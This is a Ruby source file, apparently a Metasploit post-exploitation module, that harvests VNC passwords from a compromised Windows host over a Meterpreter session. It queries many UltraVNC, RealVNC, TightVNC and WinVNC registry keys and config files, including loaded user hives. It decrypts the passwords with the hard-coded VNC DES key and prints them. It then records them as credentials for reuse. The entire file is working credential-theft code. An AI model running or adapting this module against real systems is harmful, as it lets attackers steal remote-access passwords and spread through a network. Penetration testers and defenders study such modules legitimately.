305 lines
9.4 KiB
Ruby
305 lines
9.4 KiB
Ruby
# post/windows/gather/enum_vnc_pw.rb
|
|
|
|
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/auxiliary/report'
|
|
require 'rex/proto/rfb'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather VNC Password Extraction',
|
|
'Description' => %q{
|
|
This module extract DES encrypted passwords in known VNC locations
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Kurt Grutzmacher <grutz[at]jingojango.net>',
|
|
'mubix'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
|
|
end
|
|
|
|
def decrypt_hash(hash)
|
|
if hash == nil
|
|
return nil
|
|
end
|
|
# fixed des key
|
|
# 5A B2 CD C0 BA DC AF 13
|
|
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
|
|
pass = Rex::Proto::RFB::Cipher.decrypt ["#{hash}"].pack('H*'), fixedkey
|
|
return pass
|
|
end
|
|
|
|
# Pull encrypted passwords from file based storage
|
|
def file_get(filename,splitvar)
|
|
begin
|
|
client.fs.file.stat(filename)
|
|
config = client.fs.file.new(filename,'r')
|
|
parse = config.read.split
|
|
value = parse.at(parse.index{|x| x =~ /#{splitvar}/}).split(splitvar)[1]
|
|
return value
|
|
rescue
|
|
return nil
|
|
end
|
|
end
|
|
|
|
|
|
|
|
# Pull encrypted passwords from registry based storage
|
|
def reg_get(key,variable)
|
|
begin
|
|
root_key, base_key = session.sys.registry.splitkey(key)
|
|
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
|
|
|
|
data = open_key.query_value(variable).data
|
|
if data.class == Fixnum
|
|
return data
|
|
else
|
|
value = data.unpack('H*')[0].to_s
|
|
return value
|
|
end
|
|
rescue
|
|
# Registry value not found
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def run
|
|
|
|
'''
|
|
Hash format
|
|
:name,
|
|
:check_file,
|
|
:check_reg,
|
|
:pass_variable,
|
|
:port_variable,
|
|
:port,
|
|
:hash,
|
|
:pass,
|
|
:viewonly_variable,
|
|
:viewonly_hash,
|
|
:viewonly_pass
|
|
'''
|
|
|
|
locations = []
|
|
|
|
#Checks
|
|
progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)')
|
|
progfiles_env.each do |k, v|
|
|
next if v.blank?
|
|
locations << {:name => 'UltraVNC',
|
|
:check_file => "#{v}\\UltraVNC\\ultravnc.ini",
|
|
:pass_variable => 'passwd=',
|
|
:viewonly_variable => 'passwd2=',
|
|
:port_variable => 'PortNumber='}
|
|
end
|
|
|
|
locations << {:name => 'WinVNC3_HKLM',
|
|
:check_reg => 'HKLM\\Software\\ORL\\WinVNC3',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'WinVNC3_HKCU',
|
|
:check_reg => 'HKCU\\Software\\ORL\\WinVNC3',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'WinVNC3_HKLM_Default',
|
|
:check_reg => 'HKLM\\Software\\ORL\\WinVNC3\\Default',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'WinVNC3_HKCU_Default',
|
|
:check_reg => 'HKCU\\Software\\ORL\\WinVNC3\\Default',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'WinVNC_HKLM_Default',
|
|
:check_reg => 'HKLM\\Software\\ORL\\WinVNC\\Default',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'WinVNC_HKCU_Default',
|
|
:check_reg => 'HKCU\\Software\\ORL\\WinVNC\\Default',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'WinVNC4_HKLM',
|
|
:check_reg => 'HKLM\\Software\\RealVNC\\WinVNC4',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'WinVNC4_HKCU',
|
|
:check_reg => 'HKCU\\Software\\RealVNC\\WinVNC4',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'RealVNC_HKLM',
|
|
:check_reg => 'HKLM\\Software\\RealVNC\\Default',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'RealVNC_HKCU',
|
|
:check_reg => 'HKCU\\Software\\RealVNC\\Default',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => 'TightVNC_HKLM',
|
|
:check_reg => 'HKLM\\Software\\TightVNC\\Server',
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'RfbPort'}
|
|
|
|
locations << {:name => 'TightVNC_HKLM_Control_pass',
|
|
:check_reg => 'HKLM\\Software\\TightVNC\\Server',
|
|
:pass_variable => 'ControlPassword',
|
|
:port_variable => 'RfbPort'}
|
|
|
|
userhives=load_missing_hives()
|
|
userhives.each do |hive|
|
|
next if hive['HKU'] == nil
|
|
locations << {:name => "RealVNC_#{hive['SID']}",
|
|
:check_reg => "#{hive['HKU']}\\Software\\RealVNC\\Default",
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => "WinVNC4_#{hive['SID']}",
|
|
:check_reg => "#{hive['HKU']}\\Software\\RealVNC\\WinVNC4",
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => "WinVNC_#{hive['SID']}_Default",
|
|
:check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC\\Default",
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => "WinVNC3_#{hive['SID']}_Default",
|
|
:check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC3\\Default",
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
|
|
locations << {:name => "WinVNC3_#{hive['SID']}",
|
|
:check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC3",
|
|
:pass_variable => 'Password',
|
|
:port_variable => 'PortNumber'}
|
|
end
|
|
|
|
print_status("Enumerating VNC passwords on #{sysinfo['Computer']}")
|
|
|
|
locations.map { |e|
|
|
print_status("Checking #{e[:name]}...")
|
|
if e.has_key?(:check_reg)
|
|
e[:port] = reg_get(e[:check_reg],e[:port_variable])
|
|
e[:hash] = reg_get(e[:check_reg],e[:pass_variable])
|
|
e[:pass] = decrypt_hash(e[:hash])
|
|
if e.has_key?(:viewonly_variable)
|
|
e[:viewonly_hash] = reg_get(e[:check_reg],e[:viewonly_variable])
|
|
e[:viewonly_pass] = decrypt_hash(e[:viewonly_hash])
|
|
end
|
|
elsif e.has_key?(:check_file)
|
|
e[:port] = file_get(e[:check_file],e[:port_variable])
|
|
e[:hash] = file_get(e[:check_file],e[:pass_variable])
|
|
e[:pass] = decrypt_hash(e[:hash])
|
|
if e.has_key?(:viewonly_variable)
|
|
e[:viewonly_hash] = file_get(e[:check_file],e[:viewonly_variable])
|
|
e[:viewonly_pass] = decrypt_hash(e[:viewonly_hash])
|
|
end
|
|
end
|
|
#reporting
|
|
if e[:pass] != nil
|
|
if e[:port] == nil
|
|
e[:port] = 5900
|
|
end
|
|
print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}")
|
|
|
|
service_data = {
|
|
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
|
|
port: e[:port],
|
|
service_name: 'vnc',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
# Assemble data about the credential objects we will be creating
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: self.refname,
|
|
private_type: :password,
|
|
private_data: "#{e[:pass]}"
|
|
}
|
|
|
|
# Merge the service data into the credential data
|
|
credential_data.merge!(service_data)
|
|
|
|
# Create the Metasploit::Credential::Core object
|
|
credential_core = create_credential(credential_data)
|
|
|
|
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
|
login_data ={
|
|
access_level: 'interactive',
|
|
core: credential_core,
|
|
status: Metasploit::Credential::Login::Status::UNTRIED
|
|
}
|
|
|
|
# Merge in the service data and create our Login
|
|
login_data.merge!(service_data)
|
|
login = create_credential_login(login_data)
|
|
|
|
end
|
|
if e[:viewonly_pass] != nil
|
|
print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}")
|
|
|
|
service_data = {
|
|
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
|
|
port: e[:port],
|
|
service_name: 'vnc',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
# Assemble data about the credential objects we will be creating
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: self.refname,
|
|
private_type: :password,
|
|
private_data: "#{e[:viewonly_pass]}"
|
|
}
|
|
|
|
# Merge the service data into the credential data
|
|
credential_data.merge!(service_data)
|
|
|
|
# Create the Metasploit::Credential::Core object
|
|
credential_core = create_credential(credential_data)
|
|
|
|
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
|
login_data ={
|
|
access_level: 'view_only',
|
|
core: credential_core,
|
|
status: Metasploit::Credential::Login::Status::UNTRIED
|
|
}
|
|
|
|
# Merge in the service data and create our Login
|
|
login_data.merge!(service_data)
|
|
login = create_credential_login(login_data)
|
|
|
|
end
|
|
}
|
|
unload_our_hives(userhives)
|
|
end
|
|
end
|